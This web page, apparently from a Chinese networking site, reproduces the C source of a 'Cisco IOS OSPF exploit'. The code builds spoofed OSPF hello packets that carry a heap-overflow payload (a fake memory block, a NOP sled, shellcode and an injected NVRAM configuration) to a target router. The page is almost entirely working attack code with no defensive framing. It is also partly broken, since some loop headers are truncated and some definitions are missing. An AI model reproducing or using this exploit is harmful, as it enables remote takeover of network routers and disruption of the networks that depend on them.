网络通信 频道

Cisco IOS OSPF exploit

        printf(BLABLA);
  
  memset(&cfg,0,sizeof(cfg));
  while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
  switch (option) {
  case 'v': cfg.verbose++;
  break;
  case 'D': cfg.directed++;
  break;
  case 'T': cfg.test_only++;
  break;
  case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
  if (inet_aton(optarg,cfg.target)==0) {
  fprintf(stderr,"Your destination is bullshit\n");
  return (1);
  }
  break;
  case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
  fprintf(stderr,"Your source net is wrong\n");
  return (1);
  }
  break;
  case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
  fprintf(stderr,"Your source mask is wrong\n");
  return (1);
  }
  break;
  case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
  break;
  case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
  break;
  case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1);
  strcpy(cfg.filename,optarg);
  break;
  case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
  if (cfg.target_sel>TARGETS) {
  fprintf(stderr,"Target number unknown\n");
  return (1);
  }
  break;
  case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
  break;
  case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
  fprintf(stderr,"Your area doesn't make sense.\n");
  return (1);
  }
  break;
  default: usage(argv[0]);
  }
  }
  
  if (cfg.target_sel>TARGETS) {
  fprintf(stderr,"Error: user too stupid (check -t)\n");
  return (-1);
  }
  if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
  if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
  if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
  if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
  if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
  if (cfg.stack_address==0) \
  cfg.stack_address=targets[cfg.target_sel].stack_address; if (cfg.iomem_end==0) \
  cfg.iomem_end=targets[cfg.target_sel].iomem_end;
  
  //
  // Check the parameters and set up a socket
  //
  cfg.src_net=cfg.src_net&cfg.src_mask;
  
  if ( (cfg.src_net==0)||(cfg.src_mask==0)
  ||(cfg.filename==NULL)||(cfg.target==NULL)) {
  usage(argv[0]);
  }
  
  if ((sfd=init_socket_IP4(1))<1) {
  fprintf(stderr,"Could not get a socket for you\n");
  return (-1);
  }
  
  //
  // Get some info back to the user if he requested verbose
  //
  if (cfg.verbose) {
  if (cfg.directed)
  printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
  else
  printf("\twith default destination addresses\n");
  printf("\twith source network %s/",
  inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
  printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
  printf("Using Target: %s\n",targets[cfg.target_sel].description);
  printf( "\t# of neighbors: %u\n"
  "\tdata start : %u\n"
  "\tBlock address : 0x%08X\n"
  "\tPREV pointer : 0x%08X\n"
  "\tNOP sleet : %u\n"
  "\tStack address : 0x%08X\n"
  "\tIO Memory end : 0x%08X\n",
  cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
  cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
  }
  
  //
  // Patch the fake block with the new values
  //
  bpatch->prev=htonl(cfg.prev);
  bpatch->size=htonl(
  (cfg.iomem_end
  -39 // minus block header in bytes - 1
  -cfg.blockbegin) / 2);
  bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
  +((sizeof(nop)-1)*cfg.nop_sleet));
  bpatch->free_prev=htonl(cfg.stack_address);
  bpatch->name=htonl(cfg.blockbegin+44);
  
  /*
  * Load Config
  * - load into buffer
  * - prepare NVRAM header
  * - calculate checksum
  * -> *buffer contains payload
  */
  if (cfg.filename==NULL) return (-1);
  if (stat(cfg.filename,&sb)!=0) {
  fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  return (-1);
  }
  
  if ((fd=open(cfg.filename,O_RDONLY))<0) {
  fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  return (-1);
  }
  
  len=sb.st_size;
  if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  fprintf(stderr,"Malloc() failed\n");
  return (-1);
  }
  memset(buffer,0,len+sizeof(nvheader_t)+10);
  
  p=buffer+sizeof(nvheader_t);
  if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  close(fd);
  
  // pad config so it is word bound for the 0xcafef00d test
  if ((len%2)!=0) {
  strcat(p,"\x0A");
  len++;
  if (cfg.verbose) printf("Padding config by one\n");
  }
  
  nvh=(nvheader_t *)buffer;
  nvh->magic=htons(0xABCD);
  nvh->one=htons(0x0001); // is always one
  nvh->IOSver=htons(0x0B03); // IOS version
  nvh->unknown=htonl(0x00000014); // something, 0x14 just works
  nvh->ptr=htonl(0x000D199F); // config end ptr
  nvh->size=htonl(len);
  
  cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  nvh->checksum=cs1;
  
  //
  // Put the overflow together
  //
  // (1) calculate size of the whole thing
  osize=sizeof(fakeblock)-1+
  (cfg.nop_sleet * (sizeof(nop)-1))+
  sizeof(ccode)-1+
  sizeof(nvheader_t)+
  len+
  sizeof(terminator)-1;
  if ((osize/4)>cfg.data_start) {
  fprintf(stderr,"ERROR: The whole thing is too large!\n");
  return (-1);
  } else {
  printf("Using %u out of %u bytes (overflow: %u bytes)\n",
  osize,cfg.data_start*4,cfg.n_neig*4);
  }
  //
  // adjust osize ot be 4byte bound
  //
  if ((osize%4!=0)) osize+=osize%4;
  overflow=smalloc(osize);
  
  //
  // (2) copy the fakeblock in the buffer
  //
  memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
  p=(void *)overflow+sizeof(fakeblock)-1;
  
  //
  // (3) Add NOPs to the buffer
  //
  for (i=0;i  memcpy(p,nop,sizeof(nop)-1);
  p+=sizeof(nop)-1;
  }
  
  //
  // (4) Add the ccode
  //
  memcpy(p,ccode,sizeof(ccode)-1);
  p+=sizeof(ccode)-1;
  
  //
  // (5) Add the NVRAM structure and config
  //
  memcpy(p,buffer,len+sizeof(nvheader_t));
  p+=len+sizeof(nvheader_t);
  
  //
  // (6) finish off with terminator
  //
  memcpy(p,terminator,sizeof(terminator)-1);
  
  if (cfg.verbose>1) hexdump(overflow,osize);
  if (cfg.test_only) return (0);
  
  payload=overflow+(osize-4);
  payloadc=osize;
  
  // *************************
  // PERFORM THE OVERFLOW
  // *************************
  for (i=0;i  u_char *pack;
  int plen;
  u_int32_t uip;
  
  OwnHostException:
  countip++;
  uip=htonl(countip);
  uip=uip&(~cfg.src_mask);
  uip=uip|cfg.src_net;
  
  if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
  if (cfg.verbose>2)
  printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
  else {
  printf("*"); fflush(stdout);
  }
  goto OwnHostException;
  }
  
  if (cfg.verbose>2)
  printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
  else {
  printf("."); fflush(stdout);
  }
  
  // Make and send OSPF
  pack=construct_ospf(cfg.target,
  (struct in_addr *)&uip,0,&plen);
  sendpack_IP4(sfd,pack,plen);
  free(pack);
  
  if (cfg.verbose>2) printf("\n");
  usleep(1);
  }
  
  close(sfd);
  printf("\n");
  
  return 0;
  }
  
  u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
  u_int16_t autosys, int *psize) {
  u_char *tpacket;
  iphdr_t *iph;
  u_int16_t cs; /* checksum */
  char all_ospf[]="224.0.0.5";
  ospf_header_t *ospfh;
  ospf_hello_t *ohelo;
  
  *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
  tpacket=(u_char *)smalloc(*psize
  +3 /* for my checksum function, which sometimes
  steps over the mark */
  );
  
  // IP packet
  iph=(iphdr_t *)tpacket;
  
  iph->version=4;
  iph->ihl=sizeof(iphdr_t)/4;
  
  iph->tot_len=htons(*psize);
  iph->ttl=IPTTL;
  iph->protocol=IPPROTO_OSPF;
  
  memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
  if (!cfg.directed)
  inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
  else
  memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);
  
  // OSPF header
  ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
  ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
  ospfh->version=2;
  ospfh->type=1;
  ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
  memcpy(&(ospfh->area),&(cfg.area),4);
  
  // Increment the packets sent
  pc++;
  
  //
  // If we are in the range of the whole overflow thingy, copy the appropriate
  // 4 bytes into the source address in the OSPF header
  //
  if ( (pc <= cfg.data_start) &&
  (pc > cfg.data_start-(payloadc/4) ) ) {
  memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
  payload-=4;
  }
  //
  // well, we are not in there, so we set it to some value
  //
  else {
  ospfh->source[0]=0xCA;
  ospfh->source[1]=0xFE;
  ospfh->source[2]=0xBA;
  ospfh->source[3]=0xBE;
  }
  
  // be verbose
  if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned \
  int*)&(ospfh->source))));
  
  // compile the rest of the packet
  memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
  ohelo->hello_interval=htons(10);
  ohelo->options=0x2;
  ohelo->priority=2;
  ohelo->dead_interval[3]=40;
  memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);
  
  cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
  ospfh->checksum=cs;
  
  return tpacket;
  }
  
  // Dirty stuff from IRPAS
  int init_socket_IP4(int broadcast) {
  int sfd;
  int t=1;
  
  if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
  perror("socket()");
  return(-1);
  }
  
  /* make a broadcast enabled socket if desired */
  if (broadcast) {
  if (setsockopt(
  sfd,SOL_SOCKET,SO_BROADCAST,
  (void *)&t,sizeof(int)) != 0) {
  perror("setsockopt");
  return (-1);
  }
  }
  return sfd;
  }
  
  int sendpack_IP4(int sfd, u_char *packet,int plength) {
  struct sockaddr_in sin;
  iphdr_t *iph;
  
  iph=(iphdr_t *)packet;
  
  memset(&sin,0,sizeof(struct sockaddr_in));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(0);
  memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));
  
  if (sendto(sfd,packet,plength,0,
  (struct sockaddr *) &sin,
  sizeof(struct sockaddr_in)) <=0) {
  perror("sendto()");
  return(-1);
  }
  
  return 0;
  }
  
  
  u_int16_t chksum(u_char *data, unsigned long count) {
  u_int32_t sum = 0;
  u_int16_t *wrd;
  
  wrd=(u_int16_t *)data;
  while( count > 1 ) {
  sum = sum + *wrd;
  wrd++;
  count -= 2;
  }
  
  if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
  while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  return (~sum);
  }
  
  void *smalloc(size_t size) {
  void *p;
  
  if ((p=malloc(size))==NULL) {
  fprintf(stderr,"smalloc(): malloc failed\n");
  exit (-2);
  }
  memset(p,0,size);
  return p;
  }
  

0
相关文章